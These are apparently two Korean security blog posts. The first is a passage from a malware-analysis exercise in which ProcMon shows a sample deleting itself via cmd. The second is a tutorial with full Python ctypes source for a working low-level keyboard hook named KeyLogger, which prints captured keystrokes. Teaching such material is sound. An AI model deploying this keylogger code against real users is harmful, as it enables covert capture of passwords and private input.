어떤 원리로 삭제되는지 알아보기 위해 ProcMon을 실행시킨 뒤, 프로세스 이름으로 필터를 설정합니다.

하지만 필터를 설정했음에도 불구하고, 너무나 많은 이벤트가 발생하는 것을 볼 수 있습니다.

따라서 추가적인 필터가 필요합니다. (이때 .exe를 빠뜨리면 안됩니다)

 

아래와 같이 Operation에 Process Create 를 필터로 추가 설정하였습니다.

그럼 아래와 같이 이벤트가 1개로 줄어든 것을 볼 수 있습니다.

 

탐지된 이벤트를 더블클릭하여 확인해 보면

아래와 같이 cmd를 이용한 del 명령으로 스스로를 삭제하는 커맨트를 발견할 수 있습니다.

 

2. 동적 분석 시 장애물이 무엇인가?, 이 파일을 실행시키는 다른 방법이 있는가?

해당 악성코드가 스스로 삭제되는점을 미루어 보아,

분석을 위한 도구 또는 컴포넌트가 필요한 것 같습니다.

해당 내용은 9장에서 다룬다고 하니, 해당 내용을 공부하고 돌아와야 겠군요!

posted by Red_Message
2016. 3. 22. 10:02 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

ctypes는 다양한 운영체제에서 지원하는 네이티브 라이브러리를 사용할 수 있게 도와주는 도구입니다.

따라서, 기본적인 기능만을 활용한다면 파이썬 모듈을 아주 쉽게 활용 할 수 있습니다.

아래 소스코드는 ctypes를 이용하여 Win32 API를 호출하고, 키보드를 후킹하는 소스입니다.

 

1) 동작순서

① 훅 설정 >  ② 콜백함수 등록 >  ③ 메시지 수신 대기 

   >  ④ 키보드 입력 발생 >  ⑤ 콜백함수 호출 >  ⑥ 키보드출력

2) 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ windll 사용
windll을 사용해서 user32와 kernel32형 변수를 선언한다.
해당 DLL에서 제공하는 함수를 사용할 때는 'user32.API명' 또는 'kernel32.API명'과 같은 방식으로 사용 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
user32 = windll.user32
kernel32 = windll.kernel32
 
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 변수사용
Win32 API 내부에서 정의해서 사용하는 변수값들은 MSDN이나 인터넷 검색을 통해 쉽게 확인가능 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
WH_KEYBOARD_LL  = 13
WM_KEYDOWN      = 0x0100
CTRL_CODE       = 162
 
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 클래스정의
훅을 설정하고 해제하는 기능을 가진 클래스 정의 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
class KeyLogger:
    def __init__(self):
        self.lUser32    = user32
        self.hooked      = None
    
    # user32 DLL의 SetWindowsHookExA() 함수로 훅 설정, WH_KEYBOARD_LL 이벤트 모니터링 
    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, pointer, kernel32.GetModuleHandleW(None), 0)
        if not self.hooked:
            return False
        return True
    
    # user32 DLL의 UnHookWindowsHookExA() 함수로 훅 해제, 훅은 시스템 부하를 야기하므로 적절한 시기에 해제 필요
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None        
    
    
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 함수포인터 도출
훅 프로시저를 등록하려면 함수의포인터를 전달해야한다.
ctypes에서 이를 위한 메서드 제공 -> CFUNCTYPE을 통해 SetwindowsHookExA() 함수에 맞는 인자형 선택
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
    
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)
    
    
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 훅 프로시저 정의
훅 프로시저는 이벤트가 발생했을 때 사용자 단에서 처리를 담당하는 콜백 함수다.
들어온 메시지의 종류가 WM_KEYDOWN에 해당하면 메시지 값을 화면에 프린트해주고,
메시지 값이 <Ctrl> 키의 값과 일치하면 훅을 제거한다.
처리가 끝나면 훅체인에 있는 다른 훅 프로시저에게 제어권을 넘겨준다. 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(
            myKeyLogger.hooked, 
            nCode, 
            wParam, 
            lParam
        )
    hookedKey = chr(lParam[0])
    print hookedKey
    if(CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed, call uninstallHook()"
        myKeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(myKeyLogger.hooked, nCode, wParam, lParam)
 
 
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
※ 메시지 전달
GetMessageA() 함수는 큐를 모니터링하고 있다가 큐에 메시지가 들어오면 메시지를 꺼내서
훅 체인에 등록된 맨 처음의 훅으로 전달하는 역할을 한다.
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
 
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)
    
    
# 훅 프로세스 시작
myKeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
 
if myKeyLogger.installHookProc(pointer):
    print "installed keyLogger"
 
startKeyLog()
 
 
cs

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message